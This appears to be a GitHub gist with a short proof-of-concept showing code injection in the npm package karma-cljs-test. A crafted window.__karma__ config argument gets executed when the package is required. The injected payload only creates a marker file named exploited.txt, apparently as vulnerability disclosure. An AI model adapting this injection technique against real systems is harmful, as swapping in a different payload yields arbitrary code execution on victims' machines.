Created
October 28, 2023 22:32
-
-
Save mcoimbra/cd8f0ec3c2b2a6e5af15f514c7384085 to your computer and use it in GitHub Desktop.
Package karma: although focused on browser JavaScript, it is possible to require() the package and inject a command into another file of the package that is possible to require.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('karma-cljs-test'); | |
const init = pkg['framework:cljs-test'][1]; | |
const files = []; | |
init(files); | |
global.window = { | |
'__karma__': { | |
'start': [], | |
'config': { | |
args: ["const fs = require('node:fs'); let fd = fs.openSync('exploited.txt', 'a'); fs.closeSync(fd);"] | |
} | |
} | |
}; | |
require(files[0].pattern); | |
global.window.__karma__.start(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment